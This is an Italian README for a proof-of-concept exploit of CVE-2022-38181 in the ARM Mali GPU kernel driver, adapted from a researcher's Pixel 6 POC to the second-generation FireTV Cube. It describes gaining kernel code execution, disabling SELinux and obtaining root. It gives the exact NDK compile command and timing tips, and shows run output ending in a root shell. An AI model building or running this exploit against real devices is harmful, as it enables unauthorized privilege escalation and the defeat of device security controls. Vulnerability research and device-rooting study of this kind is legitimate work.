
POC di CVE-2022-38181 per FireTV Cube di 2ª generazione (raven)
Questo è un fork del Pixel 6 POC di Man Yue Mo, ricercatore di sicurezza, per CVE_2022_38181. Leggi il suo dettagliato write-up della vulnerabilità qui. Sono state apportate modifiche per tener conto dello userspace a 32 bit di FireOS, nonché dei driver Bifrost più vecchi (r16p0) della FireTV Cube di 2ª generazione e della versione del kernel Linux (4.9.113). Il POC sfrutta un bug nel driver del kernel ARM Mali per ottenere l'esecuzione arbitraria di codice nel kernel, che viene poi utilizzato per disabilitare SELinux e ottenere i permessi di root.
Ho usato il seguente comando per compilare con clang in ndk-21:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o raven_shrinker
L'exploit dovrebbe essere eseguito 30-90 secondi dopo l'avvio della Cube per la massima affidabilità.
raven:/ $ /data/local/tmp/raven_shrinker
fingerprint: Amazon/raven/raven:9/PS7624.3337N/0026810845440:user/amz-p,release-keys
failed, retry.
failed, retry.
failed, retry.
failed, retry.
region freed 80
alias gpu va 100c85000
read 0
cleanup flush region
release_mem_pool
jit_freed
jit_free commit: 2 0
Found freed_idx 2
Found pgd 23, 100cce000
overwrite addr : 104100634 634
overwrite addr : 104300634 634
overwrite addr : 1041001c4 1c4
overwrite addr : 1043001c4 1c4
result 50
raven:/ #